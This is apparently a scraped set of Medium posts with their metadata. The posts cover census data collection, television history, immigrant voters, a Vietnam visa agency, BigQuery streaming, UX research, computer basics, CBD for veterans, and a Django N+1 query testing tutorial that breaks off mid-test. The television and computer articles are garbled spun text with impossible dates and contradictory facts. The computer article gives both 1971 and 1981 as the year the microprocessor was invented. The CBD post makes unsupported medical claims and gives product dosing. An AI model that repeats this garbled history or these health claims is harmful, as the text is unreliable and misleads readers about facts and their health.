Our team worked with excitement throughout the whole project. We consolidated our best practices in the whole pipeline of design, development, validation, and deployment. We drew out a plan with the teams from IDHS and CUPPA and implemented the data collection processes for all the data sources needed. We extracted useful information from the different sources of data used in the project. Then, we successfully used Machine Learning and Natural Language Processing techniques to speed up the process of identifying events from retrieved social media content. Lastly, we created all the interfaces needed to serve the content and information generated by the developed tools, including a web platform and automated reports. | https://medium.com/wepoinc/gathering-data-sources-to-coordinate-census-outreach-activities-b06ab08b4161 | ['Riccardo Pressiani'] | 2020-08-17 17:39:17.131000+00:00 | ['Case Study', 'Web Development', 'Software Development', 'Data Science', 'Census'] |
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🦋 TELEVISION 🦋
(TV), in some cases abbreviated to tele or television, is a media transmission medium utilized for sending moving pictures in monochrome (high contrast), or in shading, and in a few measurements and sound. The term can allude to a TV, a TV program, or the vehicle of TV transmission. TV is a mass mode for promoting, amusement, news, and sports.
TV opened up in unrefined exploratory structures in the last part of the 191s, however it would at present be quite a while before the new innovation would be promoted to customers. After World War II, an improved type of highly contrasting TV broadcasting got famous in the United Kingdom and United States, and TVs got ordinary in homes, organizations, and establishments. During the 1950s, TV was the essential mechanism for affecting public opinion.[1] during the 1915s, shading broadcasting was presented in the US and most other created nations. The accessibility of different sorts of documented stockpiling media, for example, Betamax and VHS tapes, high-limit hard plate drives, DVDs, streak drives, top quality Blu-beam Disks, and cloud advanced video recorders has empowered watchers to watch pre-recorded material, for example, motion pictures — at home individually plan. For some reasons, particularly the accommodation of distant recovery, the capacity of TV and video programming currently happens on the cloud, (for example, the video on request administration by Netflix). Toward the finish of the main decade of the 150s, advanced TV transmissions incredibly expanded in ubiquity. Another improvement was the move from standard-definition TV (SDTV) (531i, with 909093 intertwined lines of goal and 434545) to top quality TV (HDTV), which gives a goal that is generously higher. HDTV might be communicated in different arrangements: 3451513, 3451513 and 3334. Since 115, with the creation of brilliant TV, Internet TV has expanded the accessibility of TV projects and films by means of the Internet through real time video administrations, for example, Netflix, HBO Video, iPlayer and Hulu.
In 113, 39% of the world’s family units possessed a TV set.[3] The substitution of early cumbersome, high-voltage cathode beam tube (CRT) screen shows with smaller, vitality effective, level board elective advancements, for example, LCDs (both fluorescent-illuminated and LED), OLED showcases, and plasma shows was an equipment transformation that started with PC screens in the last part of the 1990s. Most TV sets sold during the 150s were level board, primarily LEDs. Significant makers reported the stopping of CRT, DLP, plasma, and even fluorescent-illuminated LCDs by the mid-115s.[3][4] sooner rather than later, LEDs are required to be step by step supplanted by OLEDs.[5] Also, significant makers have declared that they will progressively create shrewd TVs during the 115s.[1][3][8] Smart TVs with incorporated Internet and Web 3.0 capacities turned into the prevailing type of TV by the late 115s.[9]
TV signals were at first circulated distinctly as earthbound TV utilizing powerful radio-recurrence transmitters to communicate the sign to singular TV inputs. Then again TV signals are appropriated by coaxial link or optical fiber, satellite frameworks and, since the 150s by means of the Internet. Until the mid 150s, these were sent as simple signs, yet a progress to advanced TV is relied upon to be finished worldwide by the last part of the 115s. A standard TV is made out of numerous inner electronic circuits, including a tuner for getting and deciphering broadcast signals. A visual showcase gadget which does not have a tuner is accurately called a video screen as opposed to a TV.
🦋 OVERVIEW 🦋
A subgenre that joins the sentiment type with parody, zeroing in on at least two people since they find and endeavor to deal with their sentimental love, attractions to each other. The cliché plot line follows the “kid gets-young lady”, “kid loses-young lady”, “kid gets young lady back once more” grouping. Normally, there are multitudinous variations to this plot (and new curves, for example, switching the sex parts in the story), and far of the by and large happy parody lies in the social cooperations and sexual strain between your characters, who every now and again either won’t concede they are pulled in to each other or must deal with others’ interfering inside their issues.
Regularly carefully thought as an artistic sort or structure, however utilized it is additionally found in the realistic and performing expressions. In parody, human or individual indecencies, indiscretions, misuses, or deficiencies are composed to rebuff by methods for scorn, disparagement, vaudeville, incongruity, or different strategies, preferably with the plan to impact an aftereffect of progress. Parody is by and large intended to be interesting, yet its motivation isn’t generally humor as an assault on something the essayist objects to, utilizing mind. A typical, nearly characterizing highlight of parody is its solid vein of incongruity or mockery, yet spoof, vaudeville, distortion, juxtaposition, correlation, similarity, and risqué statement all regularly show up in ironical discourse and composing. The key point, is that “in parody, incongruity is aggressor.” This “assailant incongruity” (or mockery) frequently claims to favor (or if nothing else acknowledge as common) the very things the humorist really wishes to assault.
In the wake of calling Zed and his Blackblood confidants to spare Tiny Pretty Things, Talon winds up sold out by her own sort and battles to accommodate her human companions and her Blackblood legacy. With the satanic Lu Qiri giving the muscle to uphold Zed’s ground breaking strategy, Tiny Pretty Things’s human occupants are subjugated as excavators looking for a baffling substance to illuminate a dull conundrum. As Talon finds more about her lost family from Yavalla, she should sort out the certainties from the falsehoods, and explain the riddle of her legacy and an overlooked force, before the world becomes subjugated to another force that could devour each living being.
Claw is the solitary overcomer of a race called Blackbloods. A long time after her whole town is annihilated by a pack of merciless hired soldiers, Talon goes to an untamed post on the edge of the enlightened world, as she tracks the huggers of her family. On her excursion to this station, Talon finds she has a strange heavenly force that she should figure out how to control so as to spare herself, and guard the world against an over the top strict tyrant. | https://medium.com/@uyase/tiny-pretty-things-s17e01-series-1-episode-10-netflix-tv-2020-5ea1831ca346 | [] | 2020-12-14 06:20:42.699000+00:00 | ['TV Series', 'Drama', 'Mystery', 'Startup', 'Thriller'] |
Immigrant Voters Could be American Democracy’s Last Hope | We are fighting to preserve the democratic ideals that lured us to America.
The author’s daughter wears bracelets of Kenya and the United States, the two countries of her heritage.
The first time I was asked the question, I didn’t know how to respond.
“If American is so bad, why are you here?”
I was asked the question by an American man of European descent, who was a classmate at the University of California, Berkeley, where we were studying journalism. We had been embroiled in an argument that began when he stated firmly that Americans were “the richest people in the world.”
I was winning the argument by using information I had learned after living in the United States for over a decade. I informed him that, although they didn’t consider themselves poor, most Americans didn’t have money saved and therefore could not afford to pay bills if they lost employment or couldn’t work for a couple of weeks. My classmate himself was, like me, on financial aid. Without a comeback, he threw the awkward question at me.
It caught me off guard. It is one of the most offensive questions you can ask an immigrant. Some might even consider it racist. It shocked me because I had known the guy for nearly two years and there was no indication that he was of the type that could ask such a question. I was too shocked to even attempt to answer him.
Over the years, some form of that question had been directed at me and other immigrants who attempt to complain about injustice in the United States. Some like my classmate ask it in a less offensive way. But there are those who don’t mind forthrightly showing their disdain and might ask something like, “If you don’t like America, why don’t you go back to your country?”
All of them ask the question because they usually are in denial, or they just aren’t capable of formulating a practical argument to support their stance.
Many Americans seem comfortable with asking immigrants that question because they have never quite considered naturalized citizens like me as fellow Americans, who deserve equal treatment. We could live in America for decades, but as long as we weren’t born here, to them we are still foreigners, who must show nothing but gratitude for being in the United States.
This question stumps immigrants because, strangely, many of us seem to agree with the Americans who tell us that we have no right to complain because we are not citizens by birth. It is also hard to argue with them when we look at the failures and dysfunctions of some of the countries we left behind. Like our American detractors, most of us see naturalized citizenship as a privilege, rather than as a right accorded to us by the U.S. Constitution.
But thanks to the 2016 election of Donald Trump as president, the way foreign-born citizens like me view our American citizenship has changed.
Just as Trump’s election emboldened white supremacists, it awakened the immigrant vote. A study of U.S. Census data published in February by the Pew Research Center revealed that from 2000 to 2018, the number of immigrants eligible to vote doubled to 23.2 million, nearly 10 percent of the American electorate.
Traditionally, immigrant voter turnout has been low, according to the report. In 2016, for example, only 54 percent of eligible immigrants voted, compared to 62 percent of American-born citizens. There are no numbers for immigrant voter turnout for the 2020 elections yet, but given that there was record turnout, it’s likely that a record number of naturalized citizens voted.
The Pew study also found that between 2000 and 2018, Minnesota, Georgia, and North Carolina had the fastest growing population of immigrant voters, with numbers nearly tripling. Georgia — one of the handful of states where Trump is peddling unfounded claims of electoral fraud — saw its population of foreign-born voters go up by 193 percent.
For the last year, I interviewed dozens of African immigrants from various parts of the continent for Africa Straight Talk, a weekly podcast I co-founded with two other African immigrants. Generally, we in the African immigrant community are more interested in matters of our countries of origin than in the politics of our surrogate homeland. It’s common to find Africans who are so passionate about politics in the continent that they run for office or vote in countries they left decades ago.
Trump’s catastrophic presidency has taught us that if we want to remain in America, we must take advantage of the voting rights that come with our U.S. citizenship. We are learning that it’s possible to be engaged politically in two countries. In the last four years, more of us have become active in the American politics, both as voters and candidates for office. More than 30 African-born citizens, for example, ran for office in the 2020 U.S. elections.
Many of them won.
“When we don’t step up, leaders make decisions without thinking about us,” Sizi Goyah, a Liberian-born high school teacher, who ran unsuccessfully for a city council seat in Brooklyn Center, Minnesota, told me after the elections. “We have to step up and force people to make decisions that show they know we are here.”
Many of the African-born guests of our podcast said that the killing of George Floyd by a Minneapolis police officer in May was the wake-up call.
It was the first time we saw a president incite violence in ways that reminded us of the dictatorships we fled. Like never before, African immigrants were noticeable on city streets protesting the killing of unarmed African-Americans. Africans led Minneapolis crowds chanting, “Haki yetu! Haki yetu!” demanding their rights as if they were protesting dictatorships in the Swahili-speaking world. In the San Francisco Bay Area, Africans came together and led caravans for Black Lives Matter.
Perhaps no African immigrant is more vocal in telling America “we are here” than Rep. Ilhan Omar. Since she was elected in 2018 to represent Minnesota’s District 5 in the U.S. House of Representatives, the Somali-born Democrat has been President Trump’s focal point of questioning our Americanness by asking that question.
“She’s telling us how to run our country,” Trump told his supporters at a rally in September. “How did you do where you came from? How is your country doing?”
Omar responded by reminding the president that she is a citizen of the United States. Like her, more of us are challenging those who disparage our citizenship.
Recently on our podcast, we interviewed a Kenyan-born man named Yema Khalif, who along with his Ethiopian-born wife owns YEMA, an African-inspired apparel store in Tiburon, California. Khalif, his wife, and a friend were restocking the store at 1 a.m when two police officers showed up and demanded proof that he owned the business. The incident was caught on video and shared with news and social media. When I asked Khalif how residents of the town, which is 90 percent white, responded to the incident, he told me that most people had been supportive.
“But there are some people who say that as an African you should just provide your ID [to the cops],” he said.
“What do you say to them?” I asked.
“This is our country too,” he answered.
Thanks to the disastrous and scandalous years Trump has spent at the White House, more immigrants have realized that this is their country too. The vitriolic attacks Trump and his enablers in the Republican Party unleashed on us for the last five years have only made us stronger.
Our American-born children have also played a critical role in awakening us as they take to the streets to protest those who want to destroy the America we know.
They reminded us that if this country becomes like the dictatorships we fled, we’ll have nowhere to run.
Even from my 9-year-old daughter, I have learned a lot about patriotism and citizenship. She proudly wears bracelets on both wrists depicting the flags of Kenya and the United States. She has taught me to embrace both countries in equal measures, but also to speak up against injustices in both.
That is what patriotism is.
Most of us came to America because we desired to live in a democratic country. In America, we saw opportunities that didn’t exist in our countries of birth. I, for example, left Kenya when I realized that I had no hope of acquiring a university education. I had failed to make the cut for admission. It wasn’t because I was incapable of passing the standardized college entrance exam, which in Kenya is used as the sole yardstick for measuring one’s ability to succeed.
When I got out of high school, the country of 30 million people had only four public universities. Instead of building more to cater for the growing population, the government raised the bar so high that only a few qualified for admission.
Thankfully, I gained admission to an American college, graduated, and even went to earn a master’s degree from Berkeley, one of the most distinguished universities in the world.
Only in America!
That is the America most of us know — a welcoming nation, where you can work hard and chart your own path through life without being gridlocked in bureaucracies. And that is the America we will fight to preserve for our children. I am certain that as more of the 23 million immigrant voters realize what is at stake, they will head to the ballot box.
If they do so, we could be the ones who save American democracy by breaking the political deadlock between those who accept us, and those who think we should shut up or go back to the countries we left. | https://okongo.medium.com/immigrant-voters-could-be-american-democracys-last-hope-f5ac786e4421 | ["Edwin Okong'O"] | 2020-12-17 07:47:39.051000+00:00 | ['Election 2020', 'American Democracy', 'Xenophobia', 'Immigrant Voters', 'Immigration'] |
Vietnam travel visa on arrival service | Vietnam travel visa on arrival service
In addition to the list, Fansipan is popularly known as the greatest mountain in Vietnam and over-all Indochina peninsula. Fansipan belongs to Sapa which is home to many ethnic minorities like Dao (Yao), Hmong, Giay and more. Undoubtedly, Sapa is considered as the premier hiking destination for each foreigner coming to Vietnam.
Another ideal place for travelers to trek is Mai Chau in Hoa Binh province. It takes about 135 km from Ha Noi capital and brings a massive number of tourists each year. This picturesque landscape is surrounded by the green valley and stilt houses of several ethnic minority groups. The biggest ethnic populations of the area are White Thai and Black Thai.
Thanks to the evolution of technology and open policy of Vietnam government, nowadays it’s more suitable for travelers to headquartered in Vietnam. Apart from the standard method of getting a Vietnam tourist visa online, they now can find a visa at anyplace around the globe by employing a government-registered company like Green Visa Vietnam agent.
Source: https://www.yahoo.com/news/6-greatest-trekking-destinations-us-050000934.html
— — — — — — — — — — — — — — — — — — —
Agency Website: https://greenvisa.io
Address: Lien Hoa Building, 134 Cach Mang Thang Tam Street, Ward 10, District 3, Ho Chi Minh City
Phone: +18882381966
Email: [email protected]
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Evernote: https://www.evernote.com/shard/s636/sh/3eeecf7a-33fb-4688-9865-d563a634b435/01a19d621ee97510dd9daaa32ec30f3c
Pinterest: https://www.pinterest.com/greenvisaio/ | https://medium.com/@greenvisa/vietnam-travel-visa-on-arrival-service-c01969b0c58a | [] | 2017-12-14 08:22:17.597000+00:00 | ['Vietnam'] |
What Can We Do for Our Green Planet, Earth? | This is an infographic that educates the public about urban gardening.
This is a poster that introduces a minimalism concept as well as a minimalist hero here at Concordia International School Shanghai. | https://medium.com/@isabella-yu/what-can-we-do-for-our-green-planet-803991592a3e | ['Isabella Yu'] | 2020-12-12 15:36:58.624000+00:00 | ['Minimalism', 'Sustainability', 'Eco Friendly', 'Urban Gardening', 'Ciss'] |
Learnings from Streaming 25 Billion Events to Google BigQuery | Learnings
Batching:
BigQuery streaming API gives an option to batch your rows into a single request and call the BigQuery endpoint. I tried with various batch sizes for my use case and observed when batch size was 500 records (1.25 MB) latency was around 450ms — 650ms and when the batch size was 1000 records the latency was around 1100ms — 1500ms. I chose 500 as batch size as it gave a better latency for our use case.
Streaming Insertion Quota Limit:
The default quota for streaming maximum bytes per second is 1GB per GCP project. Any ingestion above this limit would result in BigQueryException with quotaExceeded Error. When I ramped our ingestion traffic near 60% I hit this limit and requests started to fail with the above Exception.
The way to handle this error is to increase the project level insertion quota as per your need by creating a ticket to Google and implement retry logic to retry the same request on every error to avoid losing the failed record in the final table.
This quota usage can be monitored with the below BigQuery SQL and adjust the quota well before you reach the quota limit.
SELECT start_timestamp, SUM(total_requests) AS total_requests, SUM(total_rows) AS total_rows, SUM(total_input_bytes) AS total_input_bytes, SUM(IF(error_code IN (“QUOTA_EXCEEDED”, “RATE_LIMIT_EXCEEDED”), total_requests, 0)) AS quota_error, SUM(IF(error_code IN (“INVALID_VALUE”, “NOT_FOUND”, “SCHEMA_INCOMPATIBLE”, “BILLING_NOT_ENABLED”, “ACCESS_DENIED”, “CUNAUTHENTICATED”), total_requests, 0)) AS user_error, SUM(IF(error_code IN (“CONNECTION_ERROR”,“INTERNAL_ERROR”), total_requests, 0)) AS server_error, SUM(IF(error_code IS NULL, 0, total_requests)) AS total_error, FROM `region-us`.INFORMATION_SCHEMA.STREAMING_TIMELINE_BY_PROJECT GROUP BY start_timestamp ORDER BY 1 DESC
The quota is not calculated based on your actual streaming payload to BigQuery but based on the streaming payload + metadata. Your payload is sent inside a JSON and quota is computed based on the received bytes at the BigQuery end. So the additional tags from JSON are also counted in the current quota calculation.
Enabling Deduplication:
In my PoC, I observed that during streaming ingestion data gets duplicated, and duplicate records are found in the final table.
BigQuery is also providing a way to enable deduplication. There are two ways you can create “RowToInsert” object from the BiqQuery client. One without deduplication enabled and one with deduplication enabled.
// 1. insertion without dedupe
RowToInsert row = InsertAllRequest.RowToInsert.of(content); // 2. insertion with dedupe
RowToInsert row = InsertAllRequest.RowToInsert.of(uniqueInsertId,content);
When I ingested without enabling “dedupe” one record is getting duplicated for every 500,000 records ingested.
When I enabled “dedupe” only one record is getting duplicated for every 5 million records ingested. Enabling deduplication does not guarantee 100% duplication removal rather it is only the best effort to remove duplicates.
BigQueyr uses “uniqueInsertId” present in every record to identify and remove the duplicates. And this deduplication is performed against the last 10 minutes of the received records.
Caching on Streaming Ingestion Table:
BigQuery provides basic caching for the batch ingested tables. When you run a duplicate query, BigQuery attempts to reuse cached results. To retrieve data from the cache.
However, if the data is ingested to the table through streaming then Bigquery does not provide any caching on it.
Higher Latency Querying Streaming Table:
I observed higher latency when querying the streaming table compared to the batch ingested table even when the amount of data scanned from the streaming table is lesser.
The reason for this higher latency in the case of the streaming table is due to the requirements to scan the streaming buffer for the data. Streaming buffer is the place the ingested records are stored initially and then the records are flushed to permanent BigQuery Capacitor columnar storage.
Capacitor Columnar storage is optimized for read-heavy operations and BigQuery Streaming buffer is optimized for write-heavy operations. When you perform read operations from a streaming table you end up reading data from write optimized streaming buffer and that's the exact reason for higher latency. The same is reflected in the above picture, the totalPartitionsProcessed is 2 for the Streaming table but it is 1 for the Batch ingested table. You shouldn’t worry about this additional latency as you are processing the latest data included from the streaming buffer. The additional latency can be 15–30 seconds depending upon the amount of data that you are querying.
The streaming buffer can take 10–90 minutes to flush the data to the permanent Columnar storage. In the latest version of the BigQuery backend (v2) this is reduced to 2–3 minutes. As of writing this blog the default version of the BigQuery backend is v1. | https://medium.com/@aride/learnings-from-streaming-25-billion-events-to-google-bigquery-57ce81fa9898 | ['Aride Chettali'] | 2021-05-21 05:31:41.421000+00:00 | ['Data', 'Bigquery', 'Big Data', 'Google Cloud Platform', 'Pipeline'] |
Foundations of User Experience — Explained | The foundations of UX are many and varied, and while some UX professionals focus on usability, others are also concerned with the user’s mental state. Thus, user experience is an all-encompassing term covering almost every facet of the interaction between a user and a website or an app.
As a UX consultant, your job will depend on what you want to specialize in. For example, if you’re interested in usability, that’s a whole different ball game than if you want to specialize in online marketing and conversion rate optimization (CRO).
User research and usability testing involve conducting studies or tests with real users to evaluate their preferences and opinions about what works best for them. This is essential information for business owners and designers when developing strategic plans for websites or apps.
User research can be conducted at the client’s office or remotely by a consultant (you). Although not every company has the budget to hire a full-time researcher, usually several people will be involved in the process, such as a usability specialist, project manager, or product manager. This person is in charge of setting up and managing the study, maintaining communication, and coordinating with stakeholders.
It would be best if you learn how to do user research and usability testing from scratch.
This article will teach you how to gather information about users’ backgrounds, opinions on design choices, and what concerns they have before initiating any projects.
1) — Find your Target Audience
Completing a user research questionnaire helps you determine who your target audience is. This is the first objective of any form of UX research.
2) — Identify What they Need
Once you know who the target audience is, your next step is to figure out what will lead them to purchase something or take some action. The simplest way to do this is to figure out what they’re looking for in a product or service and what they don’t find appealing in the products or services that are available now.
A good idea would be to try asking users these questions as concisely as possible via a user test survey created for this purpose. In the beginning, you may not have a physical product or service to examine to make changes, but you still need to get the basic gist of what makes users tick. Ask them about their goals and interests. What products are they looking for, and at what times do they normally use certain services? This is where user surveys can help you talk to your target audience and keep track of their behaviour. Ask questions that are specifically tailored to your project, and that won’t lead them in any particular direction so that the answers will be more genuine and correct. Just remember that asking too many questions might discourage the user, so try to keep it short and sweet. — Asking the right questions is only part of the equation.
3) — Interpretation is Important
You have to know how to interpret each response. With this data, you can better understand why and how they respond in a certain way to each question. This will help you refine your questions and deliver better results with every subsequent survey or test session. It is good practice to conduct usability tests at least once a month or whenever you get a new idea for a design element or feature. | https://uxplanet.org/foundations-of-user-experience-explained-f5ece39df2a9 | [] | 2021-06-22 16:00:25.510000+00:00 | ['Design Thinking', 'User Experience Design', 'User Research', 'Design', 'Designer'] |
Computer | The term computer comes from the Greek word”compute”. The word compute means to calculate. Along with the computer means computing apparatus. A computer is a system which can perform mathematical calculations very fast by following specific instructions. The computer is no longer just a computing device.A computer is a device which receives information and assesses and presents it through different processes. In the heart of the development of civilization and its rapidadvancement is the strong influence of mathematics and computers.
History:
The actual beginnings of computer science came through Alan Turing’s theoretical and later practical research.In the Center of the twentieth century, the From the middle of the twentieth century, That the development of modern computers began. The invention of the microprocessor in 1971 led to the rapid development of the microcomputer. There are many types of low-cost personal computers or PCs in the market. He has invented a variety of operating systems, program languages, countless practical package programs.
Along with this, there has been a massive expansion of computer networks and the internet and related services and services. Numerous institutional and non-institutional computer education and research institutes have been established and expanded to provide computer education. Computers and information technology (IT) have occupied a large part of the business, and employment has mainly become computer dependent.
Microprocessor-based computers have been on the market since Intel Corporation of America invented the microprocessor in 1981. Since then, a great revolution has taken place in the shape and function of computers. IBM’s personal computer or PC came on the market in 1981. One by one, high-powered microprocessors were invented, and powerful PCs were created. Since the IBM company did not impose any restrictions on the development of IBM compatible computers from the very beginning, the price of such computers dropped drastically, and their use continued to increase. At the same time, Along with IBM, Apple Computer Inc. released their invented Apple-Macintosh computer. But because Apple did not show any generosity in making their compatible computers, the price of Macintosh computers remained too high, which made Apple less famous. However, Apple-Macintosh computers were widely used in the printing industry due to some unique practical advantages.
Computer system:
A system is a combined effort of some integrated components that serve some common purpose. The components of a computer system are as follows:
Hardware,
2. Software,
3. Humanware or user,
4. Data or Information.
Hardware:
Hardware is all the devices, components and devices that have the external shape of a computer. Computer hardware can initially be divided into three parts.
Input equipment:
Keyboard
Mouse
Disk
• Scanner
Card reader,
Digital camera etc.
System unit:
• Hard disk
• Motherboard
AGP card
RAM etc.
Output equipment:
Monitor
Printer
Disk
Speaker
Projector
Headphones etc.
Hardware is all the devices, components and devices that have the external shape of a computer. Computer hardware can initially be divided into three parts.
Input equipment:
Keyboard
Mouse
Disk
• Scanner
Card reader,
Digital camera etc.
Software:
A program is a series of instructions Organized in a computer language to solve problems or perform tasks. Software is your program or {set|collection} of programs which make hardware function by creating a connection between the computer’s hardware and the consumer. Computer applications can be divided into two chief components.
1. System Software: System software effectively harnesses the computer’s ability to execute practical programs by maintaining the coordination of work between different units of the computer.
2. Application software: Application software is a program used to solve practical problems or process data.
Types of computers:
In the Center of the twentieth century, the By the middle of the twentieth century, That the It can be divided into three parts based on the design and operation principles of the computer.
1. Analog computer
2. Digital computer
3. Hybrid computer
Digital computers can be further divided into four categories based on size, capability, price and importance of use.
1. Microcomputer
2. Mini computer
3. Mainframe computer
4. Supercomputer
Microcomputers can be divided into two parts.
1. Desktop
2. Laptop
Application:
In the Center of the twentieth century, the By the middle of the twentieth century, . Its immense use in various fields is Beginning from housework to business, scientific etc.. Most Importantly, it has brought a unique revolution in the Area ofalmost everything.
Computer usage in geography:
1. Computer in GIS: Computer is used in GIS technology. In this technology, various information is added to the map with the help of a computer.
Use of computer in education:
Computers are used in classroom teaching through multimedia technology. Microsoft Excel is also used for publishing results. | https://medium.com/@afrozachowdhury356/computer-4398679ecf6c | ['Afroza Chowdhury'] | 2021-06-17 16:52:36.742000+00:00 | ['Computer System', 'Type Of Computer', 'Computer History', 'Computer', 'Computer Application'] |
Hemp for Veterans: The Benefits of CBD for Military Veterans | Hemp for Veterans: The Benefits of CBD for Military Veterans
Hemp CBD decreases the swelling of muscles after exercise, relieves exercise-related muscle pain, reduces the risk of infection by controlling inflammation, and keeps the immune system in top shape. Tyler Strause Follow Mar 4 · 4 min read
The popularity of CBD products among veterans has grown as the stigma associated with using cannabis for medical purposes has waned. Many of these veterans have previously used cannabis for several reasons. Whether it’s the treatment of post-traumatic stress disorder (PTSD), pain management, or even anxiety, many of these veterans are now using hemp for the same reasons they did back in the 1960s and 1970s. The FDA has approved CBD for the treatment of seizures caused by two rare pediatric epilepsy diseases. It is also believed to be useful for other medical conditions such as arthritis and Alzheimer’s disease due to its anti-inflammatory activities. Hemp has also become more readily available to veterans in the past decade, primarily due to medical marijuana advocacy groups’ efforts, which have used cannabis to treat PTSD. In addition to CBD, hemp is rich in bioactive compounds such as CBD, CBG, CBN, CBDV, anandamide, inositol, and glutathione.
There are many potential CBD benefits for military veterans. CBD decreases the swelling of muscles after exercise and relieves exercise-related muscle pain. CBD can also help reduce “paresthesia,” which is a burning or prickling sensation usually felt in the hands, arms, legs, or feet, but can also occur in other parts of the body related to neuropathy nerve damage. Nerve cells that transmit pain in the central nervous system have receptors to which CBD can bind, reduce inflammation, and prevent or treat chronic pain.
CBD can also affect brain chemistry, which can decrease anxiety and depression and may help regulate sleep so that veterans get a better night’s sleep. Furthermore, researchers studied 50 young adults who had all suffered a concussion. They found that when the blood concentration of CBD rose, so did the subjects’ ability to think and concentrate and their cognitive functioning overall.
CBD also improves muscle function and recovery by stimulating the central nervous system specifically rather than the body. This, along with reduced inflammation, could potentially help slow or prevent the onset of multiple sclerosis. CBD can also reduce the risk of infection by controlling inflammation, keeping the immune system in top shape, and even combatting disease onset. We know that CBD can increase coagulation and stop bleeding, which could be particularly useful for blood clotting disorders.
CBD is non-psychoactive; it won’t create a ‘high’ in the same way that marijuana, with higher concentrations of THC, does. So veterans who have relied on THC to combat pain and other symptoms will no longer have to worry about the psycho-activity: no matter how much they use, tolerance is not an issue.
Hemp contains all the essential amino acids, vitamins, and minerals that our bodies require. It is rich in healthy fats, like omega-three and omega-six fatty acids, and minerals, like copper, magnesium, iron, and zinc.
Hemp seeds and hemp milk, which do not contain CBD, are a good source of zinc, which helps the body absorb iron. Additionally, hemp seeds contain high amounts of protein, strengthening muscles and bones and increasing blood flow. They’re a good source of omega-3 fatty acids, essential for improving brain and heart health and immune function.
Hemp has a more than 50% lower saturated fat content than other vegetable oils and has several heart-healthy qualities. Hemp is an excellent source of nutrients and CBD, but it is still not a well-known ingredient for many people.
If you are using CBD oils or tinctures, it is essential to buy CBD products tested to ensure they are safe to use in any form. There are various ways to use CBD. We recommend using Randy’s Remedy Daily and Randy’s Remedy Extra-Strength lotion together to treat your skin and support whole-body health. In this way, you are affecting your body both systematically and locally. To achieve maximum benefit, use consistently and regularly.
A typical dose of Randy’s Remedy Daily is around 1/2 to 1 full dropper, twice a day, in the morning and the evening, with food.
A typical amount of Randy’s Remedy Extra-strength Lotion is 2–4 pumps applied to the body as often as needed.
Visit www.randysclub.com and discover how Randy’s Remedy can deliver the benefits of CBD for you and your family. | https://medium.com/randy-s-club/hemp-for-veterans-the-benefits-of-cbd-for-military-veterans-330dae2fc2d8 | ['Tyler Strause'] | 2021-03-04 20:26:16.541000+00:00 | ['Hemp', 'Veterans', 'Alzheimers', 'Cbd', 'Muscle Pain'] |
Django 테스트코드 단에서 ORM N+1 문제 찾아내기. ORM를 사용하는 프레임워크는 동일하게 N+1 문제가 발생 할 수… | ORM를 사용하는 프레임워크는 동일하게 N+1 문제가 발생 할 수 있다. 이 포스트글에서는 테스트코드에서 N+1문제를 미리 찾아내고 수정하는 방법을 공유하고자 한다.
ORM N+1문제 설명은 다음 링크에서 참고하자 (https://medium.com/@hckcksrl/django-n-1-problem-d986b93f5d3e)
각 프레임워크 마다 n+1 문제를 detection 하는 패키지들은 이미 휼륭한 개발자들 의해서 공유되고 있다. 장고에서는 https://github.com/jmcarp/nplusone 패키지가 있으며 이를 이용하고자 한다.
우선 패키지를 설치하다. 설치방법은 패키지의 readme를 참고한다.
아래 예제 코드는 리소스 기반으로 간단한 rest api를 작성한 샘플 코드이다.
모델은 2개가 있으며 Article — Comment 관계는 일대다이다.
하나의 Article에 여러개의 Comment가 있다.
Model
from django.db import models
# Create your models here.
class Article(models.Model):
# user = models.ForeignKey(User, on_delete=models.CASCADE)
title = models.CharField(max_length=144)
subtitle = models.CharField(max_length=144, blank=True)
content = models.TextField()
created_at = models.DateTimeField(auto_now_add=True)
def __str__(self):
return '[{}] {}'.format(self.title, self.subtitle)
class Comment(models.Model):
article = models.ForeignKey(to=Article, related_name="comments", on_delete=models.CASCADE)
content = models.TextField()
일대다 관계 모델이다. Article — Comment
View
from django.shortcuts import render
# Create your views here.
from requests import Response
from rest_framework import viewsets
from .serializers import ArticleSerializer, CommentSerializer
from .models import Article, Comment
from rest_framework import permissions
class ArticleView(viewsets.ModelViewSet):
queryset = Article.objects.all()
serializer_class = ArticleSerializer
permission_classes = ()
def list(self, request, *args, **kwargs):
return super().list(request, *args, **kwargs)
def get_serializer(self, *args, **kwargs):
return super().get_serializer(*args, **kwargs)
def get_serializer_context(self):
context = super(ArticleView, self).get_serializer_context()
return context
class CommentView(viewsets.ModelViewSet):
serializer_class = CommentSerializer
permission_classes = ()
def get_queryset(self):
return Comment.objects.filter(article=self.kwargs['article_pk'])
def perform_create(self, serializer):
serializer.save()
rest 형식으로 리소스를 반환해준다.
Serializer
from rest_framework import serializers
from .models import Article, Comment
from django.contrib.auth.models import User
class CommentSerializer(serializers.ModelSerializer):
class Meta:
model = Comment
fields = (
'id',
'article',
'content'
)
class ArticleSerializer(serializers.ModelSerializer):
comments = CommentSerializer(many=True, read_only=True)
class Meta:
model = Article
fields = (
'id',
'title',
'subtitle',
'content',
'created_at',
'comments',
)
read_only_fields = ('created_at',)
ArticleSerializer에서 자식 comments 모델들을 가져온다 (중요, prefetch 안 되어 있다.)
Urls
from django.urls import path, include
from rest_framework_nested import routers
from .views import ArticleView, CommentView
router = routers.SimpleRouter()
router.register(r'articles', ArticleView, basename='articles')
articles_router = routers.NestedSimpleRouter(router, r'articles', lookup='article')
articles_router.register(r'comments', CommentView, basename='article-comments')
urlpatterns = [
path('', include(router.urls)),
path('', include(articles_router.urls))
]
TestCode
from unittest import mock
import pytest
from django.conf import settings
from django.test import Client
from api.models import Article, Comment
@pytest.fixture
def logger(monkeypatch):
mock_logger = mock.Mock()
monkeypatch.setattr(settings, 'NPLUSONE_LOGGER', mock_logger)
return mock_logger
def check_nplusone_problem(logger):
if len(logger.log.call_args_list) != 0: # 에러 문자가 포함되어 있다.
args = logger.log.call_args[0]
assert ("Potential n+1 query detected on" in args[1]) is False # prefetch 가 필요한 경우
assert ("Potential unnecessary eager load detected on" in args[1]) is False # 쓸데없이 prefetch를 한 경우
assert not logger.log.called # 정상적인 경우 호출 하면 안 된다.
def create_mock_article() -> Article:
"""
Article 목 데이터를 생성한다.
:return:
"""
# Given
name: str = "TEST_title"
description: str = "description"
# When
article: Article = Article()
article.title = name
article.subtitle = 'subtitle'
article.content = description
article.save()
comment: Comment = Comment()
comment.content = "AAA"
comment.article = article
comment.save()
return article
@pytest.mark.django_db
def test_route_article_GET(logger) -> None:
"""
AlbumLV 뷰의 url method GET 테스트 할 수 있다.
:return:
"""
# Given
create_mock_article()
create_mock_article()
create_mock_article()
client = Client()
# When
response = client.get('/api/articles/')
# Then
